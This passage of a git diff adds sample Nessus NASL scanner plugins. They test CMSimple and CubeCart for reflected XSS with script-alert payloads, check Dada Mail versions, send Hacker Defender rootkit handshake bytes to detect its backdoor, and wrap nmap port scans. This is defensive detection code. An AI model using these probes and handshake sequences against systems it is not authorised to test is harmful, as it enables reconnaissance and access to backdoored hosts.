+     "&action=save"
+    ),
+    port:port
+  );
+  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
+  if (res == NULL) exit(0);
+
+  # There's a problem if we see our XSS.
+  if (
+    xss >< res &&
+    (
+      egrep(string:res, pattern:'meta name="generator" content="CMSimple .+ cmsimple\\.dk') ||
+      egrep(string:res, pattern:'href="http://www\\.cmsimple\\.dk/".+>Powered by CMSimple<') ||
+      egrep(string:res, pattern:string('href="', dir, '/\\?&(sitemap|print)">'))
+    )
+  ) 
+  {
+    security_warning(port);
+    set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);
+    exit(0);
+  }
+}
diff --git a/samples/NASL/cmsimple_search_xss.nasl b/samples/NASL/cmsimple_search_xss.nasl
new file mode 100644
index 0000000000..9e48c7f2d9
--- /dev/null
+++ b/samples/NASL/cmsimple_search_xss.nasl
@@ -0,0 +1,103 @@
+#
+# Josh Zlatin-Amishav (josh at ramat dot cc)
+# GPLv2
+#
+# Changes by Tenable:
+# - Revised plugin title (12/22/2008)
+
+
+include("compat.inc");
+
+if (description) {
+  script_id(19692);
+  script_cve_id("CVE-2005-2392");
+  script_bugtraq_id(14346);
+  script_version("1.18");
+
+  script_name(english:"CMSimple index.php search Function XSS");
+ 
+ script_set_attribute(attribute:"synopsis", value:
+"The remote web server is hosting a PHP application that is affected
+by a cross-site scripting vulnerability." );
+ script_set_attribute(attribute:"description", value:
+"The remote host is running CMSimple, a CMS written in PHP. 
+
+The version of CMSimple installed on the remote host is prone to
+cross-site scripting attacks due to its failure to sanitize
+user-supplied input to the search field." );
+ script_set_attribute(attribute:"see_also", value:"http://lostmon.blogspot.com/2005/07/cmsimple-search-variable-xss.html" );
+ script_set_attribute(attribute:"see_also", value:"http://seclists.org/bugtraq/2006/Aug/58" );
+  # http://web.archive.org/web/20071014163422/http://www.cmsimple.dk/forum/viewtopic.php?t=2470
+ script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?1f3df82c" );
+ script_set_attribute(attribute:"solution", value:
+"Upgrade to CMSimple 2.5 beta 3 or later." );
+ script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N");
+ script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
+ script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
+ script_set_attribute(attribute:"exploit_available", value:"false");
+ script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);
+
+ script_set_attribute(attribute:"plugin_publication_date", value: "2005/09/14");
+ script_set_attribute(attribute:"vuln_publication_date", value: "2005/07/21");
+ script_cvs_date("Date: 2018/07/06 11:26:05");
+ script_set_attribute(attribute:"patch_publication_date", value: "2005/07/21");
+script_set_attribute(attribute:"plugin_type", value:"remote");
+script_set_attribute(attribute:"cpe", value:"cpe:/a:cmsmadesimple:cms_made_simple");
+script_end_attributes();
+
+ 
+  summary["english"] = "Checks for XSS in search field in index.php";
+  script_summary(english:summary["english"]);
+ 
+  script_category(ACT_ATTACK);
+  script_family(english:"CGI abuses : XSS");
+
+  script_copyright(english:"(C) 2005-2018 Josh Zlatin-Amishav");
+
+  script_dependencie("http_version.nasl", "cross_site_scripting.nasl");
+  script_require_ports("Services/www", 80);
+  script_exclude_keys("Settings/disable_cgi_scanning");
+  script_require_keys("www/PHP");
+  exit(0);
+}
+
+include("global_settings.inc");
+include("http_func.inc");
+include("http_keepalive.inc");
+include("url_func.inc");
+
+port = get_http_port(default:80);
+if (!get_port_state(port)) exit(0);
+if (!can_host_php(port:port)) exit(0);
+if ( get_kb_item("www/"+port+"/generic_xss") ) exit(0);
+
+xss = "<script>alert('" + SCRIPT_NAME + "');</script>";
+exss = urlencode(str:xss);
+
+foreach dir ( cgi_dirs() )
+{
+  req = http_get(
+    item:string(
+      dir, "/index.php?",
+     'search=', exss, "&function=search"
+    ),
+    port:port
+  );
+  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
+  if (res == NULL) exit(0);
+
+  # There's a problem if we see our XSS.
+  if (
+    xss >< res &&
+    (
+      egrep(string:res, pattern:'meta name="generator" content="CMSimple .+ cmsimple\\.dk') ||
+      egrep(string:res, pattern:'href="http://www\\.cmsimple\\.dk/".+>Powered by CMSimple<') ||
+      egrep(string:res, pattern:string('href="', dir, '/\\?&(sitemap|print)">'))
+    )
+  ) 
+  {
+    security_warning(port);
+    set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);
+    exit(0);
+  }
+}
diff --git a/samples/NASL/cubecart_xss.nasl b/samples/NASL/cubecart_xss.nasl
new file mode 100644
index 0000000000..7a38bf2531
--- /dev/null
+++ b/samples/NASL/cubecart_xss.nasl
@@ -0,0 +1,99 @@
+#
+# Josh Zlatin-Amishav <josh at ramat dot cc>
+#
+# This script is released under the GNU GPLv2
+#
+
+# Changes by Tenable:
+# - Revised plugin title (5/20/09)
+
+
+include("compat.inc");
+
+if(description)
+{
+ script_id(19945);
+ script_version ("1.19");
+ script_cve_id("CVE-2005-3152");
+ script_bugtraq_id(14962);
+
+ script_name(english:"CubeCart < 3.0.4 Multiple Script XSS");
+
+ script_set_attribute(attribute:"synopsis", value:
+"The remote web server contains several PHP scripts that are prone to
+cross-site scripting attacks." );
+ script_set_attribute(attribute:"description", value:
+"The remote version of CubeCart contains several cross-site scripting
+vulnerabilities due to its failure to properly sanitize user-supplied 
+input of certain variables to the 'index.php' and 'cart.php' scripts." );
+  # http://lostmon.blogspot.com/2005/09/cubecart-303-multiple-variable-cross.html
+ script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?ff7a638f" );
+ script_set_attribute(attribute:"solution", value:
+"Upgrade to CubeCart version 3.0.4 or later." );
+ script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N");
+ script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
+ script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
+ script_set_attribute(attribute:"exploit_available", value:"false");
+ script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);
+
+ script_set_attribute(attribute:"plugin_publication_date", value: "2005/10/06");
+ script_set_attribute(attribute:"vuln_publication_date", value: "2005/09/28");
+ script_cvs_date("Date: 2018/07/06 11:26:05");
+ script_set_attribute(attribute:"patch_publication_date", value: "2005/09/28");
+script_set_attribute(attribute:"plugin_type", value:"remote");
+script_set_attribute(attribute:"cpe",value:"cpe:/a:cubecart:cubecart");
+script_end_attributes();
+
+
+ script_summary(english:"Checks for XSS in index.php");
+ script_category(ACT_ATTACK);
+ script_family(english:"CGI abuses : XSS");
+ script_copyright(english:"Copyright (C) 2005-2018 Josh Zlatin-Amishav");
+ script_dependencies("cross_site_scripting.nasl","cubecart_detect.nasl");
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ script_require_ports("Services/www", 80);
+ script_require_keys("www/cubecart");
+ exit(0);
+}
+
+include("global_settings.inc");
+include("http_func.inc");
+include("http_keepalive.inc");
+include("url_func.inc");
+
+
+port = get_http_port(default:80);
+if(!get_port_state(port))exit(0, "Port "+port+" is closed");
+if(!can_host_php(port:port)) exit(0, "The web server on port "+port+" does not support PHP");
+if ( get_kb_item("www/"+port+"/generic_xss") ) exit(0, "The web server on port "+port+" is vulnerable to XSS");
+
+# Make sure this is really cubecart
+install = get_kb_item(string("www/", port, "/cubecart"));
+if (isnull(install)) exit(0, "cubecart was not detected on port "+port);
+matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
+if (!isnull(matches)) {
+ ver = matches[1];
+ dir = matches[2];
+
+ # A simple alert.
+ xss = "<script>alert('" + SCRIPT_NAME + "');</script>";
+ # nb: the url-encoded version is what we need to pass in.
+ exss = urlencode(str:xss);
+
+ req = http_get(
+   item:string(
+     dir, "/index.php?",
+     'searchStr=">', exss, 
+     "&act=viewCat&Submit=Go"
+   ), 
+   port:port
+ );
+ res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
+
+ if ( xss >< res )
+ {
+        security_warning(port);
+	set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);
+        exit(0);
+ }
+}
diff --git a/samples/NASL/data_mail_xss.nasl b/samples/NASL/data_mail_xss.nasl
new file mode 100644
index 0000000000..92e6f4804e
--- /dev/null
+++ b/samples/NASL/data_mail_xss.nasl
@@ -0,0 +1,91 @@
+#
+# This script was written by Josh Zlatin-Amishav <josh at ramat dot cc>
+#
+# This script is released under the GNU GPLv2
+
+# Changes by Tenable:
+# - Revised plugin title (6/4/09)
+# - Fixed a typo (04/25/14)
+
+include("compat.inc");
+
+if(description)
+{
+ script_id(19679);
+ script_version ("1.19");
+
+ script_cve_id("CVE-2005-2595");
+ script_bugtraq_id(14573);
+ script_xref(name:"Secunia", value:"16435");
+
+ script_name(english:"Dada Mail Archived Message XSS");
+ script_summary(english:"Checks Dada Mail version");
+
+ script_set_attribute(attribute:"synopsis", value:
+"The remote web server contains a PERL script that is affected by a
+cross-site scripting vulnerability." );
+ script_set_attribute(attribute:"description", value:
+"The remote web server is running Dada Mail, a free, email list
+management system written in Perl. 
+
+According to its banner, the version of this software installed on the
+remote host does not properly validate user written content before
+submitting that data to the archiving system.  A malicious user could
+embed arbitrary JavaScript in archived messages to later be executed
+in a user's browser within the context of the affected website."
+ );
+ script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f2154baf");
+ script_set_attribute(attribute:"solution", value:
+"Upgrade to version 2.10 alpha 1 or higher."
+ );
+ script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N");
+ script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
+ script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
+ script_set_attribute(attribute:"exploit_available", value:"false");
+ script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);
+
+ script_set_attribute(attribute:"plugin_publication_date", value:"2005/09/12");
+ script_set_attribute(attribute:"vuln_publication_date", value: "2005/08/16");
+ script_cvs_date("Date: 2018/07/06 11:26:05");
+ script_set_attribute(attribute:"plugin_type", value:"remote");
+ script_end_attributes();
+
+ script_category(ACT_GATHER_INFO);
+ script_family(english:"CGI abuses : XSS");
+ script_copyright(english:"Copyright (C) 2005-2018 Josh Zlatin-Amishav");
+ script_dependencies("http_version.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+include("http_func.inc");
+include("http_keepalive.inc");
+include("global_settings.inc");
+include("misc_func.inc");
+
+port = get_http_port(default:80);
+if(!get_port_state(port))exit(0);
+
+if (thorough_tests) dirs = list_uniq(make_list("/cgi-bin/dada", cgi_dirs()));
+else dirs = make_list(cgi_dirs());
+
+foreach dir (dirs)
+{
+ req = http_get(
+   item:string(
+     dir, "/mail.cgi"
+   ), 
+   port:port
+ );
+ res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
+ if (isnull(res)) exit(0);
+
+ # versions 2.9.x are vulnerable
+ if(egrep(pattern:"Powered by.*Dada Mail 2\.9", string:res))
+ {
+        security_warning(port);
+	set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);
+        exit(0);
+ }
+}
diff --git a/samples/NASL/hacker_defender.nasl b/samples/NASL/hacker_defender.nasl
new file mode 100644
index 0000000000..032b956edc
--- /dev/null
+++ b/samples/NASL/hacker_defender.nasl
@@ -0,0 +1,105 @@
+# This script was written by Javier Olascoaga <jolascoaga@sia.es>
+# (C) SIA (http://www.sia.es)
+#
+# based on A. Tarasco <atarasco@sia.es> research.
+# This script is releases under the GNU GPLv2 license.
+#
+# Fixes by Tenable:
+#   - Changed text of description and report.
+#   - Checked response and added another step in the 
+#     initialization process to avoid false positives.
+#   - Fixed bug that caused an empty banner in the report.
+#   - Added check to skip known ports 
+
+
+include("compat.inc");
+
+if (description) 
+{
+  script_id(15517);
+  script_version ("$Revision: 1.18 $");
+
+  script_name(english:"Hacker Defender Backdoor Detection");
+  script_summary(english:"HACKER defender finder (All versions)");
+
+ script_set_attribute(attribute:"synopsis", value:
+"The remote host has a backdoor installed." );
+ script_set_attribute(attribute:"description", value:
+"The remote host is running the Hacker Defender rootkit. Among other
+things, it hooks itself into all open TCP ports on the system,
+listening for a specially crafted packet, and opening a backdoor on
+that port when found. This backdoor can be used by malicious users to
+control the affected host remotely." );
+ script_set_attribute(attribute:"solution", value:
+"Reinstall Windows." );
+ script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
+
+ script_set_attribute(attribute:"plugin_publication_date", value: "2004/10/19");
+ script_cvs_date("$Date: 2013/01/25 01:19:08 $");
+script_set_attribute(attribute:"plugin_type", value:"remote");
+script_end_attributes();
+
+  script_category(ACT_GATHER_INFO);
+  script_copyright(english:"This script is Copyright (C) 2004-2013 SIA");
+  script_family(english:"Backdoors");
+  script_dependencie("os_fingerprint.nasl");
+  script_require_ports(80,3389, 21, 25, 7, 1025, 443);
+  exit (0);
+}
+
+os = get_kb_item("Host/OS");
+if ( os && "Windows" >!< os ) exit(0);
+
+list_ports[0] = 80;
+list_ports[1] = 3389;
+list_ports[2] = 21;
+list_ports[3] = 25;
+list_ports[4] = 7;
+list_ports[5] = 1025;
+list_ports[6] = 443;
+
+max_ports = 6;
+
+hx[0]=raw_string (0x01, 0x1e, 0x3c, 0x6c, 0x6a, 0xff, 0x99, 0xa8,0x34, 0x83, 0x38, 0x24, 0xa1, 0xa4, 0xf2, 0x11,0x5a, 0xd3, 0x18, 0x8d, 0xbc, 0xc4, 0x3e, 0x40,0x07, 0xa4, 0x28, 0xd4, 0x18, 0x48, 0xfe, 0x00);
+hx_banner[0] = string("Hacker Defender v0.51-0.82b");
+
+hx[1]=raw_string(0x01, 0x38, 0x45, 0x69, 0x3a, 0x1f, 0x44, 0x12,0x89, 0x55, 0x7f, 0xaa, 0xc0, 0x9f, 0xee, 0x61,0x3f, 0x9a, 0x7e, 0x84, 0x32, 0x04, 0x4e, 0x1d,0xd7, 0xe4, 0xa8, 0xc4, 0x48, 0xe8, 0x9e, 0x00);
+hx_banner[1] = string("Hacker Defender v0.82-0.83");
+
+hx[2]=raw_string(0x01, 0x9a, 0x8c, 0x66, 0xaf, 0xc0, 0x4a, 0x11,0x9e, 0x3f, 0x40, 0x88, 0x12, 0x2c, 0x3a, 0x4a,0x84, 0x65, 0x38, 0xb0, 0xb4, 0x08, 0x0b, 0xaf,0xdb, 0xce, 0x02, 0x94, 0x34, 0x5f, 0x22, 0x00);
+hx_banner[2] = string("Hacker Defender v0.84-1.0.0");
+
+
+for (i=0; i <= max_ports; i++) 
+{
+  # check list port
+  if(!isnull(get_kb_list("Known/tcp/"+list_ports[i]))) continue;
+
+  if (get_port_state(list_ports[i])) 
+  {
+    soc = open_sock_tcp (list_ports[i]);
+    if (soc) 
+    {
+      for (j=0;j<3;j++) {
+        # nb: to understand this, look at the HandlerRoutine in 
+        #     bdcli100.dpr in the Hacker Defender source.
+        send (socket:soc, data: hx[j]);
+        data = recv (socket:soc, length:128, timeout:1);
+        if (data && strlen(data) == 1 && ord(data[0]) == 0xe0)
+        {
+          for (t=0; t<20; t++) {
+            send (socket:soc, data: raw_string(0xe1));
+            data = recv (socket:soc, length:1, timeout:1);
+            if (data && strlen(data) == 1 && ord(data[0]) == 0xe2)
+            {
+              security_hole(port:list_ports[i], extra: 
+  string("The remote host is running the ", hx_banner[j], " backdoor."));
+              exit (0);
+            }
+          }
+        }
+      }
+      close(soc);
+    }
+  }
+}
diff --git a/samples/NASL/nmap.nasl b/samples/NASL/nmap.nasl
new file mode 100644
index 0000000000..97c5e90fc7
--- /dev/null
+++ b/samples/NASL/nmap.nasl
@@ -0,0 +1,555 @@
+#TRUSTED 1ecad1a72af07d5c7dc5d7e14779bfee77ceb3b40a5d630e0e91d6e142b3d0853c45660b7098d75fe8817238e26e502c686bd381d0d458069d4732bb7020e11e6f69df6cd814e4aa29e5c665b10858937b89f18f817a6be3568875c3d526b9280112ec4170f2bfbb99ae543ae2dbe4621435213d9f89c03717f10a3bf5780e0e19afd42894130b23ab55f2dcecb17d340299be01b79500392a805428d6475e915457616319d094ad0016e84d4a7dad59fb5716aab91224ee8e435d6019c057d8feefd33a0b43927f1a0eb818c07e54a53cde7fc761a6f043b940d675ce8c1a10ca3b2a6970db0b7aa4bde9098b2d49b00ce627691ce30f531211befbd0b6efa06155854e368219697a5e324e0ce47bcfba9ebb3d4087596372b981c61019177b996522f60623390692b4a2da64a0ab5471beff7ec5a3b830c4c76ce4e0d6386f674eb6d7d2cb6a4639ef04963285c1acf821be6e7045e3872b9b67dd447e413c159c6cc11ae30d4a3ce58dff2c961e14956dc6fc99cc6f60612b2a49323b2651f37629954d033d627651d244865d787df0148fe0a6a06b473836486d9bb70a0cb65111dd75326c703af7790f82c886d57a60bda2a8ec0381fb437ce01998f265e0a548a6aae53c696e8165ba7e0963b6058454c01cefac65b9049a652bd9ce6edd22a234f7b204ce7114b964ee593481ca6add3574cb1f8e671828e1d6cafa17
+#
+# This script was written by Michel Arboi <mikhail@nessus.org>
+#
+# and modified by airwofl (a@flumps.org) 29/5/06
+# slight fixes by Vlatko Kosturjak <kost@linux.hr>
+#
+# GPL
+#
+# Last modification: 2009-05-19
+#
+#
+# Nmap can be found at :
+# <http://www.insecure.org/nmap/>
+#
+#
+
+
+if (! defined_func("get_preference") ) exit(0);
+if ( ! defined_func("pread") || ! find_in_path("nmap") ) no_exec = 1;
+
+if(description)
+{
+ script_id(14259);
+ script_version ("2.6");
+ if ( no_exec == 1 )
+  script_name(english: "Nmap Importer (NASL wrapper)");
+ else
+  script_name(english: "Nmap (NASL wrapper)");;
+
+ desc = "
+This plugin runs nmap(1) to find open ports.
+See the section 'plugins options' to configure it
+
+";
+
+ if ( no_exec ) desc += '\n\n*** This plugin will only import the Nmap results';
+
+ script_description(english:desc);
+ script_summary(english: "Performs portscan / RPC scan");
+ script_category(ACT_SCANNER);
+ script_copyright(english:"This script is Copyright (C) 2004-2009 Michel Arboi");
+ script_family(english: "Port scanners");
+
+ if (NASL_LEVEL >= 3210)
+  script_dependencies("portscanners_stub.nasl", "portscanners_settings.nasl");
+ else
+  script_dependencies("ping_host.nasl", "portscanners_settings.nasl");
+
+ if (NASL_LEVEL < 2181) exit(0);	# Cannot run
+
+ if (! no_exec)
+ {
+ v = pread(cmd: "nmap", argv: make_list("nmap", "-V"));
+ if (v != NULL)
+ {
+  ver = ereg_replace(pattern: ".*nmap version ([0-9.]+).*", string: v, replace: "\1");
+  if (ver == v) ver = NULL;
+ }
+
+
+ if (ver =~ "^[3-9]\.")
+ script_add_preference(name:"TCP scanning technique :", type:"radio", 
+  value:"connect();SYN scan;FIN scan;Xmas Tree scan;SYN FIN scan;FIN SYN scan;Null scan;No TCP Scanning");
+ else
+ script_add_preference(name:"TCP scanning technique :", type:"radio", 
+  value:"connect();SYN scan;FIN scan;Xmas Tree scan;Null scan;No TCP Scanning");
+
+ script_add_preference(name:"UDP port scan", type:"checkbox", value: "no");
+ # This option eats too much memory and hits rlimits
+ if (NASL_LEVEL > 2200)
+  script_add_preference(name:"Service scan", type:"checkbox", value: "no");
+ script_add_preference(name:"RPC port scan", type:"checkbox", value: "no");
+ # Too much memory
+ if (NASL_LEVEL > 2200)
+ {
+  script_add_preference(name:"Identify the remote OS", type:"checkbox", value: "no");
+ }
+ if (ver =~ "^3\.[0-5]") script_add_preference(name:"Get Identd info", type:"checkbox", value: "no");
+ script_add_preference(name: "Source port :", value: "", type: "entry");
+ script_add_preference(name:"Timing policy :", type:"radio",
+  value: "Auto (nessus specific!);Normal;Insane;Aggressive;Polite;Sneaky;Paranoid;Custom");
+ script_add_preference(name: "Initial RTT timeout (ms) :", value: "", type: "entry");
+ script_add_preference(name: "Min RTT Timeout (ms) :", value: "", type: "entry");
+ script_add_preference(name: "Max RTT Timeout (ms) :", value: "", type: "entry");
+ script_add_preference(name: "Ports scanned in parallel (max)", value: "", type: "entry");
+ script_add_preference(name: "Ports scanned in parallel (min)", value: "", type: "entry");
+ script_add_preference(name: "Host Timeout (ms) :", value: "", type: "entry");
+ script_add_preference(name: "Minimum wait between probes (ms)", value: "", type: "entry");
+ }
+ script_add_preference(name: "File containing grepable results : ", value: "", type: "file");
+ if (! no_exec)
+ {
+ script_add_preference(name: 'Do not scan targets not in the file', value: 'no', type: 'checkbox');
+ if (ver =~ "^3\.")
+ script_add_preference(name: "Data length : ", value: "", type: "entry");
+ script_add_preference(name: "Run dangerous port scans even if safe checks are set", value:"no", type:"checkbox");
+ if (ver =~ "^[4-9]\.")
+ script_add_preference(name: "Number of port retries (max)", value: "", type: "entry");
+ }
+ exit(0);
+}
+
+#
+if (NASL_LEVEL < 2181 || ! defined_func("get_preference"))
+{
+  set_kb_item(name: "/tmp/UnableToRun/14259", value: TRUE);
+  display("Script #14259 (nmap.nasl) cannot run - upgrade libnasl\n");
+  exit(0);
+}
+
+if ( ! defined_func("pread") || ! find_in_path("nmap") ) no_exec = 1;
+
+tmpfile = NULL;
+
+function on_exit()
+{
+  if (tmpfile) unlink(tmpfile);
+}
+
+function compute_rtt()
+{
+  local_var	p, i, min, max, s, t1, t2, ms, v1, v2;
+
+  min = 10000; 
+  max = 0;
+
+  foreach p (make_list(80, 113))
+   for (i = 0; i < 3; i ++)
+   {
+    t1 = gettimeofday();
+    s = open_sock_tcp(p, timeout: 10, transport: ENCAPS_IP);
+    t2 = gettimeofday();
+    if (s) close(s);
+    v1 = eregmatch(string: t1, pattern: "([0-9]+)\.([0-9]+)");
+    v2 = eregmatch(string: t2, pattern: "([0-9]+)\.([0-9]+)");
+    ms = (int(v2[1]) - int(v1[1])) * 1000 + (int(v2[2]) - int(v1[2])) / 1000;
+    if (ms > 9000 && !s) break;
+    if (min > ms) min = ms;
+    if (max < ms) max = ms;
+   }
+  if (max < 3 * min) max = 3 * min;
+  if (min >= 9000) min = 0;
+  if (max && max < 6) max = 6;
+  if (max >= 9000) max = 0;
+  if (isnull(min) && isnull(max)) return NULL;
+  return make_list(min, max);
+}
+
+if (! no_exec)
+{
+ safe_opt = script_get_preference("Run dangerous port scans even if safe checks are set");
+ if ( safe_opt && "yes" >< safe_opt ) safe = 0;
+ else safe = safe_checks();
+}
+
+ip = get_host_ip();
+esc_ip = ""; l = strlen(ip);
+for (i = 0; i < l; i ++) 
+  if (ip[i] == '.') esc_ip = strcat(esc_ip, "\.");
+  else esc_ip = strcat(esc_ip, ip[i]);
+
+res = script_get_preference_file_content("File containing grepable results : ");
+
+if (! egrep(pattern: "Host: +" + esc_ip + " ", string: res))
+{
+ if (no_exec) exit(0);
+ if (get_kb_item("PortscannersSettings/run_only_if_needed")
+     && get_kb_item("Host/full_scan")) exit(0);
+ opt = script_get_preference('Do not scan targets not in the file');
+ if ('yes' >< opt) exit(0);
+
+ i = 0;
+ argv[i++] = "nmap";
+ argv[i++] = "-n";
+ argv[i++] = "-P0";	# Nmap ping is not reliable
+ argv[i++] = "-oG";
+ if (defined_func("get_tmp_dir"))
+ {
+  tmpdir = get_tmp_dir();
+  if (tmpdir) tmpfile = strcat(tmpdir, "/nmap-", get_host_ip(), "-", rand() );
+ }
+ if (tmpfile)
+  argv[i++] = tmpfile;
+ else
+ argv[i++] = "-";
+
+ p = script_get_preference("TCP scanning technique :");
+ scan_tcp=0;
+ scan_udp=0;
+ # Force TCP scan in safe mode - other options could crash the IP stack
+ # TCP scan is more aggressive against broken services than SYN scan,
+ # but those services will probably be killed by fin_service or similar
+ # tests.
+ if (p != "No TCP Scanning")
+ {
+   scan_tcp = 1;
+   if (safe) argv[i++] = "-sT";
+   else if (p == "SYN scan" || p == "SYN FIN scan") argv[i++] = "-sS";
+   else if (p == "FIN scan" || p == "FIN SYN scan") argv[i++] = "-sF";
+   else if (p == "Xmas Tree scan") argv[i++] = "-sX";
+   else if (p == "Null scan") argv[i++] = "-sN";
+   else argv[i++] = "-sT";
+   if (p == "FIN SYN scan" || p == "SYN FIN scan")
+   {
+     argv[i++] = "--scanflags";
+     argv[i++] = "SYNFIN";
+   }
+ }
+
+ # UDP & RPC scans or fingerprinting may kill a buggy IP stack
+ if (! safe)
+ {
+  p = script_get_preference("UDP port scan");
+  if ("yes" >< p)
+  {
+   # Newer versions of Nmap only print 25 open UDP ports 
+   # and add 25 port for each -v.  I don't know exactly what "newer" versions 
+   # are affected by this bug^W feature.
+   argv[i++] = "-vvvvvvvvvvvvvvvvvvvvvvvvv";	# 26*25 ports
+   argv[i++] = "-sU";
+   scan_udp = 1;
+  }
+  p = script_get_preference("Service scan");
+  if ("yes" >< p) argv[i++] = "-sV";
+  p = script_get_preference("RPC port scan");
+  if ("yes" >< p) argv[i++] = "-sR";
+  p = script_get_preference("Identify the remote OS");
+  if ("yes" >< p) argv[i++] = "-O";
+ }
+ p = script_get_preference("Get Identd info");
+ if ("yes" >< p) argv[i++] = "-I";
+ port_range = get_preference("port_range");
+ if (port_range) # Null for command line tests only
+ {
+  argv[i++] = "-p";
+  if (port_range == "default" )
+  {
+   n = 0;
+   str = "";
+   str2 = "";
+   while ( port = scanner_get_port(n) )
+   {
+    if ( n > 0 )
+    {
+     str += "," + string(port);
+     if (ver =~ "^[4-9]\.") str2 += "," + string(port);
+    }
+    else
+    {
+     if (ver =~ "^[4-9]\.")
+     {
+      str = "T:" + string(port);
+      str2 = "U:" + string(port);
+     }
+     else str = string(port);
+    }
+    n ++;
+   }
+   if ( scan_tcp == 0 ) str = NULL;
+   if ( scan_udp == 0 ) str2 = NULL;
+  
+   if ( isnull(str) && isnull(str2) ) exit(0); # ???
+   argv[i++] = strcat ( str , str2 );
+  }
+  else
+  {
+   tmp_port_range = NULL;
+   if ( ver =~ "^[4-9]\." )
+   {
+    if (scan_tcp) tmp_port_range = "T:" + port_range;
+    if ( strlen(tmp_port_range) ) tmp_port_range += ",";
+    if (scan_udp) tmp_port_range += "U:" + port_range;
+   }
+   else tmp_port_range = port_range;
+
+   argv[i++] = tmp_port_range;
+  }
+ }
+ 
+ p = script_get_preference("Source port :");
+ if (p =~ '^[0-9]+$') { argv[i++] = "-g"; argv[i++] = p; }
+
+ # We should check the values when running in "safe checks".
+ custom_policy = 0;
+ p = script_get_preference("Host Timeout (ms) :");
+ if (p =~ '^[0-9]+$')
+ {
+   argv[i++] = "--host_timeout";
+   argv[i++] = p;
+   custom_policy ++;
+ }
+ p = script_get_preference("Min RTT Timeout (ms) :");
+ if (p =~ '^[0-9]+$')
+ {
+   argv[i++] = "--min_rtt_timeout";
+   argv[i++] = p;
+   custom_policy ++;
+ }
+ p = script_get_preference("Max RTT Timeout (ms) :");
+ if (p =~ '^[0-9]+$')
+ {
+   argv[i++] = "--max_rtt_timeout";
+   argv[i++] = p;
+   custom_policy ++;
+ }
+ p = script_get_preference("Initial RTT timeout (ms) :");
+ if (p =~ '^[0-9]+$')
+ {
+   argv[i++] = "--initial_rtt_timeout";
+   argv[i++] = p;
+   custom_policy ++;
+ }
+ min = 1;
+ p = script_get_preference("Ports scanned in parallel (min)");
+ if (p =~ '^[0-9]+$')
+ {
+   argv[i++] = "--min_parallelism";
+   argv[i++] = p;
+   min = p;
+   custom_policy ++;
+ }
+ p = script_get_preference("Ports scanned in parallel (max)");
+ if (p =~ '^[0-9]+$')
+ {
+   argv[i++] = "--max_parallelism";
+   if (p < min) p = min;
+   argv[i++] = p;
+   custom_policy ++;
+ }
+
+ p = script_get_preference("Number of port retries (max)");
+ if (p =~ '^[0-9]+$')
+ {
+   argv[i++] = "--max-retries";
+   argv[i++] = p;
+   custom_policy ++;
+ }
+
+ p = script_get_preference("Minimum wait between probes (ms)");
+ if (p =~ '^[0-9]+$')
+ {
+   argv[i++] = "--scan_delay";
+   argv[i++] = p;
+   custom_policy ++;
+ }
+
+ if (! custom_policy)
+ {
+   p = script_get_preference("Timing policy :");
+   if ( ! p ) p = "Normal";
+   if ("Auto" >< p)
+   {
+      rtt = compute_rtt();
+      if (! isnull(rtt))
+      {
+        minrtt = rtt[0];
+        maxrtt = rtt[1];
+        if (minrtt)
+        {
+         argv[i++] = "--min_rtt_timeout";
+         argv[i++] = minrtt;
+        }
+        if (maxrtt)
+        {
+         argv[i++] = "--max_rtt_timeout";
+         argv[i++] = maxrtt;
+        }
+      }
+      # otherwise, use "Normal" timing
+    }
+    else if (p != "Normal")
+    {
+     argv[i++] = "-T";
+     # Disable aggresive timings in safe checks
+     if (safe && ("Insane">< p || "Aggressive" >< p)) argv[i++] = "Normal";
+     else argv[i++] = p;
+    }
+ }
+
+ p = script_get_preference("Data length : ");
+ if (p =~ '^[0-9]+$')
+ {
+   argv[i++] = "--data_length";
+   argv[i++] = p;
+   custom_policy ++;
+ }
+
+ argv[i++] = ip;
+
+scanner_status(current: 0, total: 65535);
+
+ res = pread(cmd: "nmap", argv: argv, cd: 1);
+ if (tmpfile)
+  res = fread(tmpfile);
+# display(argv, "\n", res, "\n\n");
+ if (! res) exit(0);	# error
+}
+
+if (egrep(string: res, pattern: '^# +Ports scanned: +TCP\\(65535;'))
+  full_scan = 1;
+else
+ full_scan = 0;
+
+res = egrep(pattern: "Host: +" + esc_ip + " ", string: res);
+if (! res)
+{
+ # set_kb_item(name: "Host/ping_failed", value: "yes");
+ exit(0);
+}
+
+res = ereg_replace(pattern: 'Host: +[0-9.]+ .*[ \t]+Ports: +',
+	string: res, replace: "");
+# Fields:
+# port_nb/state/protocol/owner/port_name/rpc_name/service/
+# Example:
